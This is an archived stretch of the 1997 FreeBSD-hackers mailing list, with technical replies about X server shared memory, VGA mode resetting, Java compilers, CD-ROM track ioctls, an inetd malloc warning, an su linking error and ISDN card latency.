to rebuild the kernel to support X??? No. It is purely optional for XFree86, since the Xservers detect the absence of SYSVSHM at startup time (as you have seen from the debug output), and simply disable the MIT-SHM extension (which is only used by few programs anyway). For Accelerated-X, it is mandatory however. > I had X under 2.1.5-RELEASE running just fine SYSVSHM was default in the generic kernel of FreeBSD 2.1.x. The person who made it the default there did so only for this branch however, that's why it has never been propagated into -current until very recently. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 10:25:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03582 for hackers-outgoing; Sat, 9 Aug 1997 10:25:27 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA03575 for ; Sat, 9 Aug 1997 10:25:22 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA05031; Sat, 9 Aug 1997 10:22:19 -0700 From: Terry Lambert Message-Id: <199708091722.KAA05031@phaeton.artisoft.com> Subject: Re: reset screen hardware? To: perlsta@sunyit.edu (Alfred Perlstein) Date: Sat, 9 Aug 1997 10:22:19 -0700 (MST) Cc: terry@lambert.org, hackers@FreeBSD.ORG In-Reply-To: from "Alfred Perlstein" at Aug 8, 97 07:53:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I don't get it, aren't all SVGA cards the same when i comes down to text > modes as well as regular VGA modes? Only from the perspective of the BIOS, and the memory access paradigm for a given standard defined mode ID. The hardware is different. > I'm not familiar with the protection mechanism in freebsd, if i wrote a > program to reset the text screens by programming the ports what kind of > skeleton code would it need? You can't necessarily reset it by programming the ports (well, you can, if you knew what setting the X server would use if it were doing the job of resetting the card -- probably using more than just ports). The problem is that the card is not put into graphics mode by the console driver, it's put there by a card-specific driver in X. Only the card specific driver in X knows what it did, so only it can undo what it did. > Btw, there are interupts that point to tables of data that is put into > the videocard to set various modes, could the kernel save the data before > it switches to protected mode? The interrupts do not point to the data. If they did, there would never have been a Diamond graphics card problem (that's actually the *exact* problem with Diamond: the table data was not accessable in a generic fashion from protected mode, and without the table data, there was no figuring out the values to latch into the PAL to get a specific graphic mode -- or even a valid one, necessarily. Mostly because they hired EE's instead of SE's to write their video BIOS, IMO). You *could* write a VM86() and then call the INT 10 call to reset the card. This would require a working VM86() capable of being "thunked", which FreeBSD doesn't have (yet). This assumes that the BIOS code (1) doesn't disable all interrupts while it does it's thing (many cards not using dual ported RAM use this technique to avoid "sparklies"), and (2) it sets all possible modified settings, rather than just remembering a "diff" from the last BIOS mode setting (otherwise you would need to rewrite X to use the VM86() as well, or the BIOS wouldn't reset everything that needed reset). Fun, fun, fun! Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Aug 9 10:37:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA04263 for hackers-outgoing; Sat, 9 Aug 1997 10:37:07 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA04258 for ; Sat, 9 Aug 1997 10:37:05 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA05061; Sat, 9 Aug 1997 10:34:13 -0700 From: Terry Lambert Message-Id: <199708091734.KAA05061@phaeton.artisoft.com> Subject: Re: generic compiling programming language? To: perlsta@sunyit.edu (Alfred Perlstein) Date: Sat, 9 Aug 1997 10:34:12 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: from "Alfred Perlstein" at Aug 9, 97 11:19:14 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. > > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? > > Or is everyone hiding something from me? :) http://www.oasis.leo.org/java/00-index.html "Machines, browser, and viewer" Look for "Kaffe" and other JIT's. A JIT is a Just In Time compiler for JAVA. It converts JAVA to native code on the fly. There are also translators (to C/C++) that you can actually use to translate JAVA to a compilable language (JUMP, a JAVA "compiler" for US Robotics Pilot palmtops, works this way). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Sat Aug 9 10:52:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA04901 for hackers-outgoing; Sat, 9 Aug 1997 10:52:10 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA04895 for ; Sat, 9 Aug 1997 10:52:07 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id TAA28859; Sat, 9 Aug 1997 19:52:06 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA18417; Sat, 9 Aug 1997 19:48:23 +0200 (MET DST) Message-ID: <19970809194822.LQ34226@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 19:48:22 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: freebsd-hackers@FreeBSD.ORG Cc: szoli@caesar.elte.hu (MEMPHISTO) Subject: Re: CD-ROM data tracks References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from MEMPHISTO on Jul 26, 1997 17:29:51 +0200 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As MEMPHISTO wrote: Oh, i'm afraid we don't have a Dr. Faustus here. :) > I'd just like to know how can I check if a track on a CD is data or > audio track?(via ioctl, of course). There are a number of ioctls for CD-ROMs. See the command cdcontrol(1) for a sample implementation using them. What you're asking for is `cdcontrol info': j@uriah 109% cdcontrol info No CD device name specified. Defaulting to /dev/cd0c. (XXX silly message) Starting track = 1, ending track = 1, TOC size = 18 bytes track start duration block length type ------------------------------------------------- 1 0:02.00 73:51.44 0 332219 data 170 73:51.44 - 332219 - - (170 is the CD leadout, by definition.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 11:06:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05510 for hackers-outgoing; Sat, 9 Aug 1997 11:06:19 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05501 for ; Sat, 9 Aug 1997 11:06:13 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id LAA07732; Sat, 9 Aug 1997 11:05:41 -0700 (PDT) Date: Sat, 9 Aug 1997 11:05:41 -0700 (PDT) From: "Jamil J. Weatherbee" To: Alfred Perlstein cc: hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk What do you plan on "hacking" in java -- hell why don't we just rewrite the entire kernel in java. > > Or is everyone hiding something from me? :) > > ._________________________________________ __ _ > |Alfred Perlstein - Programming & SysAdmin > |perlsta@sunyit.edu > |http://www.cs.sunyit.edu/~perlsta > : ---"Have you seen my FreeBSD tatoo?" > ' > > From owner-freebsd-hackers Sat Aug 9 11:12:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA05856 for hackers-outgoing; Sat, 9 Aug 1997 11:12:48 -0700 (PDT) Received: from counterintelligence.ml.org (mdean.vip.best.com [206.86.94.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA05851 for ; Sat, 9 Aug 1997 11:12:45 -0700 (PDT) Received: from localhost (jamil@localhost) by counterintelligence.ml.org (8.8.6/8.8.5) with SMTP id LAA07755; Sat, 9 Aug 1997 11:12:17 -0700 (PDT) Date: Sat, 9 Aug 1997 11:12:17 -0700 (PDT) From: "Jamil J. Weatherbee" To: Peter Korsten cc: hackers@FreeBSD.ORG Subject: Re: ISDN drivers/cards In-Reply-To: <19970809055307.20710@grendel.IAEhv.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk My question is about current ISDN cards (i.e. cardinal internals) as oppsed to isdn routers. I am getting an ascend router because I was told by numerous people that the latency (and lack of synchronous) communications [at least in the US] makes Terminal adapters and internal cards a low performance solution, My tests hav concluded that the latency across an isdn connection with a router is about 15ms (30ms ping) where as with a TA 50ms (100ms) ping is considered good depending on if you are going from TA to TA or TA to Router, I'd love to see an internal card that doesn't use 16550's that I can put in my freebsd machine and get good performance out of -- actually my idea would be an internal card that looks like an ne2000.. Maybye it already exists for use in the US but I have not been able to find any. From owner-freebsd-hackers Sat Aug 9 11:22:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06234 for hackers-outgoing; Sat, 9 Aug 1997 11:22:12 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA06229 for ; Sat, 9 Aug 1997 11:22:09 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA29015; Sat, 9 Aug 1997 20:22:07 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id TAA23390; Sat, 9 Aug 1997 19:57:23 +0200 (MET DST) Message-ID: <19970809195721.AG22691@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 19:57:21 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: brett@peloton.physics.montana.edu (Brett Taylor) Subject: Re: weird warning and a thank you (fwd) References: X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Brett Taylor on Jul 28, 1997 16:56:17 -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Brett Taylor wrote: > Now, as you may recall from that question, I have just moved from 2.2.1 to > 2.2.-STABLE. When I now telnet to my machine, to itself or from another > machine, I get a warning: > > inetd in realloc(): warning: junk pointer, too low to make sense. Please do the following: ln -s AJ /etc/malloc.conf This will make the above warning fatal, and cause your inetd to dump core on the next occasion. Then, please analyze the coredump to find about where it was doing a bogus realloc(). You can also run it with -g debugging symbols, and with the -d option, in foreground in a gdb session. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 11:22:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06290 for hackers-outgoing; Sat, 9 Aug 1997 11:22:46 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA06285 for ; Sat, 9 Aug 1997 11:22:42 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA29020; Sat, 9 Aug 1997 20:22:31 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id UAA29485; Sat, 9 Aug 1997 20:12:42 +0200 (MET DST) Message-ID: <19970809201241.RR39814@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 20:12:41 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: ahd@kew.com (Drew Derbyshire) Subject: Re: Upgrade 2.2.1 --> 2.2.2 broke su? References: <199707311225.IAA00364@pandora.hh.kew.com> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199707311225.IAA00364@pandora.hh.kew.com>; from Drew Derbyshire on Jul 31, 1997 08:25:55 -0400 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Drew Derbyshire wrote: > I've rebuilt/reinstalled both lib and the su command ... > > su root -c exec tcsh > Password: > (turning echo on) > Password:GAD THEN FEED OIL ANT FILM > (null): Undefined symbol "_MD4Init" called from su:/usr/lib/libskey.so.2.0 at 0x8025214 Update /usr/src/usr.bin/su/Makefile to the latest version, and rebuild su(1). -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 11:32:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06630 for hackers-outgoing; Sat, 9 Aug 1997 11:32:18 -0700 (PDT) Received: from casparc.ppp.net (mail.ppp.net [194.64.12.35]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA06625 for ; Sat, 9 Aug 1997 11:32:15 -0700 (PDT) Received: from ernie by casparc.ppp.net with uucp (Smail3.1.28.1 #1) id m0wxGJ0-000o8qC; Sat, 9 Aug 97 20:32 MET DST Received: from bert.kts.org(really [194.55.156.2]) by ernie.kts.org via sendmail with smtp id for ; Sat, 9 Aug 1997 20:19:40 +0200 (MET DST) (Smail-3.2.0.91 1997-Jan-14 #2 built 1997-Feb-8) Received: by bert.kts.org via sendmail with stdio id for freebsd-hackers@FreeBSD.ORG; Sat, 9 Aug 1997 20:12:50 +0200 (CEST) (Smail-3.2.0.94 1997-Apr-22 #7 built 1997-Jul-4) Message-Id: From: hm@kts.org (Hellmuth Michaelis) Subject: Re: Status of PCVT In-Reply-To: <19970809191349.WM58529@uriah.heep.sax.de> from J Wunsch at "Aug 9, 97 07:13:49 pm" To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 9 Aug 1997 20:12:50 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG, pechter@lakewood.com Organization: Kitchen Table Systems Reply-To: hm@kts.org X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk J Wunsch wrote: > > > > Does anyone know the latest version avaialable of PCVT. > > > > 3.32. About a year old. > > FreeBSD-current. Quite some improvements over 3.32. :-) (Most credit > goes to Kazu for his generic kbd subdriver.) 3.32 fixes some bugs Thomas Gellekum found out by exploring it with some extraordinary, strange and mysterious VAX programs. It also introduced a bug with making a pcvt driven tty the contolling terminal which has not been fixed. In case anyone has some spare time to waste, it would be nice to move some of the 3.32 fixes into 3.24-beta without carrying the bug(s) while doing it. hellmuth -- Hellmuth Michaelis hm@kts.org Hamburg, Europe There is a difference between an open mind and a hole in the head From owner-freebsd-hackers Sat Aug 9 11:35:13 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06816 for hackers-outgoing; Sat, 9 Aug 1997 11:35:13 -0700 (PDT) Received: from iafnl.es.iaf.nl (uucp@iafnl.es.iaf.nl [195.108.17.20]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA06811 for ; Sat, 9 Aug 1997 11:35:10 -0700 (PDT) Received: by iafnl.es.iaf.nl with UUCP id AA13062 (5.67b/IDA-1.5 for hackers@FreeBSD.ORG); Sat, 9 Aug 1997 20:35:21 +0200 Received: (from wilko@localhost) by yedi.iaf.nl (8.8.5/8.6.12) id TAA00502; Sat, 9 Aug 1997 19:02:07 +0200 (MET DST) From: Wilko Bulte Message-Id: <199708091702.TAA00502@yedi.iaf.nl> Subject: Re: ISDN drivers/cards To: peter@grendel.IAEhv.nl (Peter Korsten) Date: Sat, 9 Aug 1997 19:02:07 +0200 (MET DST) Cc: hackers@FreeBSD.ORG In-Reply-To: <19970809055307.20710@grendel.IAEhv.nl> from "Peter Korsten" at Aug 9, 97 05:53:07 am X-Organisation: Private FreeBSD site - Arnhem, The Netherlands X-Pgp-Info: PGP public key at 'finger wilko@freefall.freebsd.org' X-Mailer: ELM [version 2.4 PL24 ME8a] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Peter Korsten wrote... > Wolfgang Helbig shared with us: > > > > > > This is really my main point, bisdn works for some folks and not for > > > other, but is no real reliable base for part of FreeBSD. It's a mess and > > > that could explain why some people have so much luck and other don't. > > > Mostly boiling down to "luck" I expect. > > > > The messy part starts when you try to run ppp over isdn. But straight > > bisdn-097 works fine for a lot of people. I installed it nearly a year ago > > successfully. It was one of the first things I did with FreeBSD, so > > it didn't take much expertise to install. > > But as a matter of fact, raw IP over HDLC isn't really used outside > of Germany. At least, it isn't used one country to the west, the > Netherlands. I also notice that people speaking in favour of bisdn > are called 'Wolfgang' and 'Hellmuth', both your average German name. We also had to use PPP/ISDN here. I have yet to find a non-PPP ISDN capable provider here in Holland. > I need PPP to make my ISDN card of use and though the bisdn code > may be okay (I can neither confirm nor deny that), installing it > is a real pain in the you-know-what and the PPP-hack looks really > yuckie to me. But as soon as you get everything together the end result *is* stable, at least in our experiences at TCJA (http://www.tcja.nl) Took some frustrated phonecalls to Peter for help before success came ;-) Wilko _ ____________________________________________________________________ | / o / / _ Bulte email: wilko@yedi.iaf.nl - Arnhem, The Netherlands |/|/ / / /( (_) Do, or do not. There is no 'try' - Yoda -------------------------------------------------------------------------- From owner-freebsd-hackers Sat Aug 9 11:38:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA06927 for hackers-outgoing; Sat, 9 Aug 1997 11:38:07 -0700 (PDT) Received: from neutron.neutron.org (neutron.neutron.org [207.167.87.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA06916 for ; Sat, 9 Aug 1997 11:38:03 -0700 (PDT) Received: (from hackers@localhost) by neutron.neutron.org (8.8.5/8.8.5) id LAA00542 for freebsd-hackers@freebsd.org; Sat, 9 Aug 1997 11:37:21 -0700 (PDT) Date: Sat, 9 Aug 1997 11:37:21 -0700 (PDT) From: freebsd-hackers Message-Id: <199708091837.LAA00542@neutron.neutron.org> To: freebsd-hackers@freebsd.org Subject: SKIP on 2.1.7 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk dear hackers i am a new subscriber to this mailing list; hope this post is appropriate. i have installed the SUN SKIP IP encryption binaries on two 2.1.7 boxes. it works fine, tcpdump -v shows protocol 57 packets in transit. i also have tried with 2.2.1, in that case the SKIP drivers won't even load. i did read a (cryptic) comment from SUN concerning 2.2.1 vs 2.1.7. something about lkm modules being handled differently. anyone know why SKIP 1.0 won't work on 2.1.1? thanks bill clarke From owner-freebsd-hackers Sat Aug 9 11:43:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA07270 for hackers-outgoing; Sat, 9 Aug 1997 11:43:46 -0700 (PDT) Received: from zippy.dyn.ml.org (garbanzo@pm3-ppp8.well.com [206.15.85.8]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA07249 for ; Sat, 9 Aug 1997 11:43:42 -0700 (PDT) Received: from localhost (garbanzo@localhost) by zippy.dyn.ml.org (8.8.7/8.8.7) with SMTP id LAA00279; Sat, 9 Aug 1997 11:43:39 -0700 (PDT) X-Authentication-Warning: zippy.dyn.ml.org: garbanzo owned process doing -bs Date: Sat, 9 Aug 1997 11:43:38 -0700 (PDT) From: Alex X-Sender: garbanzo@zippy.dyn.ml.org To: Alfred Perlstein cc: hackers@FreeBSD.ORG Subject: Re: generic compiling programming language? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sat, 9 Aug 1997, Alfred Perlstein wrote: > > I know C is 'portable' but it still requires some major hacking to get > programs working on various OSes, and Java can be used/compiled almost > everywhere, although i think it requires a graphical display (right?) > and it is pretty slow and not a good choice for many intesive > applications. Java doesn't require a GUI, unless you use the AWT (Abstracting Windows Toolkit). The JDK itself does require a fair amount of hacking to get compiled on non Solaris systems, but most of those oses have ports that have been worked on, and polished, however Java is slow, very slow. > Why isn't there a "Java" that is not interpreted? but could be easily > cross compiled for any machine? The closest to that is Netscape's JavaScript scripting for its browsers, not nearly as powerful as Java, not sure how they compare speedwise. - alex From owner-freebsd-hackers Sat Aug 9 11:52:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA07745 for hackers-outgoing; Sat, 9 Aug 1997 11:52:29 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id LAA07740 for ; Sat, 9 Aug 1997 11:52:26 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id UAA29151; Sat, 9 Aug 1997 20:52:15 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id UAA12331; Sat, 9 Aug 1997 20:43:35 +0200 (MET DST) Message-ID: <19970809204334.WG16542@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 20:43:34 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: root@goff.comtat.kazan.su (System Administrator) Subject: Re: How to get state of ctrl, alt, shift keys ? References: <199708081606.SAA02524@sos.freebsd.dk> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: =?iso-8859-1?Q?=3C199708081606=2ESAA02524=40sos=2Efreebsd=2Edk=3E=3B_fro?= =?iso-8859-1?Q?m_S=F8ren_Schmidt_on_Aug_8=2C_1997_18=3A06=3A44_+0200?= Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Søren Schmidt wrote: > > Can anybody help me? I need for my programm to get stat of the keys > > ctl,alt,shift - well, You know for this combinations, like Ctrl+PgUP > > and so on. Question: How can I do this? You should not do this. Don't learn the bad things from other systems. > You can use the KDGKBSTATE ioctl to read the modifier keys, see This will be very hard to do on a serial terminal, in a telnet session, or inside an xterm. ;-) And that's exactly the reason why this kind of hacks is deprecated. It's probably very hard to guess a number, but i think more than 75 % of the machines where a regular user is sitting in front of the screen (i.e. not counting server machines where the console isn't used by anyone regularly) are probably using X11 these days. Maybe even more. > What do you want that for ?? If you need different value for ctrl/alt PgUP > then you could modify the keymap to return different values, that should > be alot easier... ...and more portable, too. You could perhaps even modify an xterm mapping for it if you are keen to do this. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Sat Aug 9 12:35:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA09448 for hackers-outgoing; Sat, 9 Aug 1997 12:35:26 -0700 (PDT) Received: from squid.pdc.kth.se (squid.pdc.kth.se [130.237.221.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA09438 for ; Sat, 9 Aug 1997 12:35:23 -0700 (PDT) Received: from localhost (tege@localhost) by squid.pdc.kth.se (8.8.5/8.6.9) with SMTP id VAA08701 for ; Sat, 9 Aug 1997 21:35:17 +0200 (MET DST) Message-Id: <199708091935.VAA08701@squid.pdc.kth.se> X-Authentication-Warning: squid.pdc.kth.se: tege@localhost didn't use HELO protocol To: hackers@freebsd.org Subject: wdc name and/or documnetation Content-Type: text/plain; charset=iso-8859-1 Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Date: Sat, 09 Aug 1997 21:35:17 +0200 From: Torbjorn Granlund Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk in the LINT config file (of current as well as 2.2.2), wdc is described as a disk driver, while it also handles other IDE devices. Maybe the documentation needs to be clarified? Torbjorn From owner-freebsd-hackers Sat Aug 9 13:17:06 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA11189 for hackers-outgoing; Sat, 9 Aug 1997 13:17:06 -0700 (PDT) Received: from misery.sdf.com (misery.sdf.com [204.244.210.193]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id NAA11183 for ; Sat, 9 Aug 1997 13:17:02 -0700 (PDT) Received: from tom by misery.sdf.com with smtp (Exim 1.62 #1) id 0wxHv6-00010W-00; Sat, 9 Aug 1997 13:15:28 -0700 Date: Sat, 9 Aug 1997 13:15:27 -0700 (PDT) From: Tom Samplonius To: "Jamil J. Weatherbee" cc: Peter Korsten , hackers@freebsd.org Subject: Re: ISDN drivers/cards In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 9 Aug 1997, Jamil J. Weatherbee wrote: > going from TA to TA or TA to Router, I'd love to see an internal card that > doesn't use 16550's that I can put in my freebsd machine and get good This can be improved a lot. Most TAs support a 230400bps rate, but FreeBSD does not. Doubling the TA input rate will certainly have a positive effect on latency. FreeBSD-current now detects the 16670 UART that supports 230400 (and faster. But it doesn't seem possible to set a port to 230400. BTW, it isn't even possible to use full ISDN with at 115200 bps. Basically if you drive ISDN at 115200, you will get rates of about 10KB/s, but if you could the entire ISDN line you will get 15KB/s. This is mainly due to the extra overhead of async versus sync serial (well, sync serial carries the "overhead" out of band). BTW, I use an 3COM Impact II extrernal ISDN TA. It works very well, except that I'd like to drive it at 230400. At 115200 bps, I get round-trip times of 80ms. I'm not sure where you are getting your 100ms times from, except it could be from a poorly performing TA (ie. old Bitsurfer), or Win95 (whose PPP performance is terrible, and adds a lot of packet processing latency). Tom From owner-freebsd-hackers Sat Aug 9 15:23:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA17783 for hackers-outgoing; Sat, 9 Aug 1997 15:23:21 -0700 (PDT) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id PAA17778 for ; Sat, 9 Aug 1997 15:23:14 -0700 (PDT) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id AAA01518; Sun, 10 Aug 1997 00:23:12 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.5/8.8.5) id VAA25659; Sat, 9 Aug 1997 21:25:00 +0200 (MET DST) Message-ID: <19970809212459.FE61477@uriah.heep.sax.de> Date: Sat, 9 Aug 1997 21:24:59 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Cc: jamil@counterintelligence.ml.org (Jamil J. Weatherbee) Subject: Re: ISDN drivers/cards References: <19970809055307.20710@grendel.IAEhv.nl> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: ; from Jamil J. Weatherbee on Aug 9, 1997 11:12:17 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As Jamil J. Weatherbee wrote: > My tests hav concluded that the latency > across an isdn connection with a router is about 15ms (30ms ping) where as > with a TA 50ms (100ms) ping is considered good depending on if you are > going from TA to TA or TA to Router, I'd love to see an internal card that > doesn't use 16550's that I can put in my freebsd machine and get good > performance out of The dumb cards based on the Siemens chipset BISDN is currently supporting aren't UART-based either, and here's my ping RTT: j@uriah 1139% /sbin/ping ifb-gw2 PING ifb-gw2.interface-business.de (193.101.57.253): 56 data bytes 64 bytes from 193.101.57.253: icmp_seq=0 ttl=60 time=36.421 ms 64 bytes from 